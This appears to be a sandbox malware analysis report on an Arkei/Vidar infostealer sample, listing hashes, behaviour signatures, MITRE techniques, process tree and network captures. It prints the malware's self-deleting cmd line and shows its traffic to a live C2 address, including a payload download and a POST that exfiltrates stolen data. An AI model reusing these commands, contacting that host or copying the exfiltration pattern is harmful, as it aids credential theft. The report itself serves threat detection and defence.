arkei | ac4e6130232c4f7f8d7166b0004366c1e078f93b51addcf8080c28b1fac5d12c | Triage

Analysis

max time kernel
37s
max time network
39s
platform
windows7_x64
resource
win7-20220414-en
submitted
07/07/2022, 15:10 UTC

Sharing

Report Analysis Logs

General

Target

ac4e6130232c4f7f8d7166b0004366c1e078f93b51addcf8080c28b1fac5d12c.exe
Size

362KB
MD5

0a0503dce0e780c82d119fa033577cfe
SHA1

0e577608c1f0766c6d1e88f8a081fc58663517e8
SHA256

ac4e6130232c4f7f8d7166b0004366c1e078f93b51addcf8080c28b1fac5d12c
SHA512

220674cdda4162e2130b96a40340966d78bb0962edcf0ec50bf0b9e210b5b8f25b4d4863ef6118c48614833dd10c4fbae7f305043f13d1c831040a02954bbbbe

Score

10^/10

arkei default discovery spyware stealer suricata

Malware Config

Extracted

Family

arkei

Botnet

Default

Signatures

Arkei
Arkei is an infostealer written in C++.
stealer arkei
suricata: ET MALWARE Win32/Vidar Variant/Mars CnC Activity (GET)
suricata: ET MALWARE Win32/Vidar Variant/Mars CnC Activity (GET)
suricata
suricata: ET MALWARE Win32/Vidar Variant/Mars Stealer CnC Exfil
suricata: ET MALWARE Win32/Vidar Variant/Mars Stealer CnC Exfil
suricata

Deletes itself 1 IoCs

pid	Process
1508	cmd.exe

Loads dropped DLL 2 IoCs

pid	Process
1972	ac4e6130232c4f7f8d7166b0004366c1e078f93b51addcf8080c28b1fac5d12c.exe
1972	ac4e6130232c4f7f8d7166b0004366c1e078f93b51addcf8080c28b1fac5d12c.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ac4e6130232c4f7f8d7166b0004366c1e078f93b51addcf8080c28b1fac5d12c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ac4e6130232c4f7f8d7166b0004366c1e078f93b51addcf8080c28b1fac5d12c.exe

Delays execution with timeout.exe 1 IoCs

pid	Process
1476	timeout.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1972 wrote to memory of 1508	1972	ac4e6130232c4f7f8d7166b0004366c1e078f93b51addcf8080c28b1fac5d12c.exe	29
PID 1972 wrote to memory of 1508	1972	ac4e6130232c4f7f8d7166b0004366c1e078f93b51addcf8080c28b1fac5d12c.exe	29
PID 1972 wrote to memory of 1508	1972	ac4e6130232c4f7f8d7166b0004366c1e078f93b51addcf8080c28b1fac5d12c.exe	29
PID 1972 wrote to memory of 1508	1972	ac4e6130232c4f7f8d7166b0004366c1e078f93b51addcf8080c28b1fac5d12c.exe	29
PID 1508 wrote to memory of 1476	1508	cmd.exe	31
PID 1508 wrote to memory of 1476	1508	cmd.exe	31
PID 1508 wrote to memory of 1476	1508	cmd.exe	31
PID 1508 wrote to memory of 1476	1508	cmd.exe	31

C:\Users\Admin\AppData\Local\Temp\ac4e6130232c4f7f8d7166b0004366c1e078f93b51addcf8080c28b1fac5d12c.exe
"C:\Users\Admin\AppData\Local\Temp\ac4e6130232c4f7f8d7166b0004366c1e078f93b51addcf8080c28b1fac5d12c.exe"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:1972
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\ac4e6130232c4f7f8d7166b0004366c1e078f93b51addcf8080c28b1fac5d12c.exe" & exit
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:1508
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1476

Network

GET

http://46.23.109.160/jfdjc.php

ac4e6130232c4f7f8d7166b0004366c1e078f93b51addcf8080c28b1fac5d12c.exe

Remote address:

46.23.109.160:80

Request

GET /jfdjc.php HTTP/1.1
Host: 46.23.109.160
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Thu, 07 Jul 2022 15:11:08 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=b3ffapqnpi3ogro60ut6epbf9s; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 28
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
GET

http://46.23.109.160/request

ac4e6130232c4f7f8d7166b0004366c1e078f93b51addcf8080c28b1fac5d12c.exe

Remote address:

46.23.109.160:80

Request

GET /request HTTP/1.1
Host: 46.23.109.160
Cache-Control: no-cache
Cookie: PHPSESSID=b3ffapqnpi3ogro60ut6epbf9s

Response

HTTP/1.1 200 OK

Date: Thu, 07 Jul 2022 15:11:08 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Mon, 21 Feb 2022 12:34:00 GMT
ETag: "17e499-5d88672651e00"
Accept-Ranges: bytes
Content-Length: 1565849
POST

http://46.23.109.160/jfdjc.php

ac4e6130232c4f7f8d7166b0004366c1e078f93b51addcf8080c28b1fac5d12c.exe

Remote address:

46.23.109.160:80

Request

POST /jfdjc.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----YUAI5X4W47GV3EUS
Host: 46.23.109.160
Content-Length: 62169
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=b3ffapqnpi3ogro60ut6epbf9s

Response

HTTP/1.1 200 OK

Date: Thu, 07 Jul 2022 15:11:11 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

46.23.109.160:80

http://46.23.109.160/jfdjc.php

http

ac4e6130232c4f7f8d7166b0004366c1e078f93b51addcf8080c28b1fac5d12c.exe

95.5kB
1.6MB
720
1214

HTTP Request

GET http://46.23.109.160/jfdjc.php

HTTP Response

200

HTTP Request

GET http://46.23.109.160/request

HTTP Response

200

HTTP Request

POST http://46.23.109.160/jfdjc.php

HTTP Response

200

No results found

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

Discovery

Query Registry

System Information Discovery

Lateral Movement

Collection

Data from Local System

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

\ProgramData\mozglue.dll

Filesize
133KB

MD5
8f73c08a9660691143661bf7332c3c27

SHA1
37fa65dd737c50fda710fdbde89e51374d0c204a

SHA256
3fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd

SHA512
0042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89

Download Submit
\ProgramData\nss3.dll

Filesize
1.2MB

MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

Download Submit
memory/1972-57-0x0000000075F21000-0x0000000075F23000-memory.dmp

Filesize
8KB

Download
memory/1972-59-0x0000000000400000-0x0000000000A8B000-memory.dmp

Filesize
6.5MB

Download
memory/1972-60-0x0000000060900000-0x0000000060992000-memory.dmp

Filesize
584KB

Download
memory/1972-58-0x0000000000C3B000-0x0000000000C5C000-memory.dmp

Filesize
132KB

Download
memory/1972-55-0x0000000000230000-0x0000000000259000-memory.dmp

Filesize
164KB

Download
memory/1972-56-0x0000000000400000-0x0000000000A8B000-memory.dmp

Filesize
6.5MB

Download
memory/1972-82-0x0000000000C3B000-0x0000000000C5C000-memory.dmp

Filesize
132KB

Download
memory/1972-83-0x0000000000400000-0x0000000000A8B000-memory.dmp

Filesize
6.5MB

Download
memory/1972-54-0x0000000000C3B000-0x0000000000C5C000-memory.dmp

Filesize
132KB

Download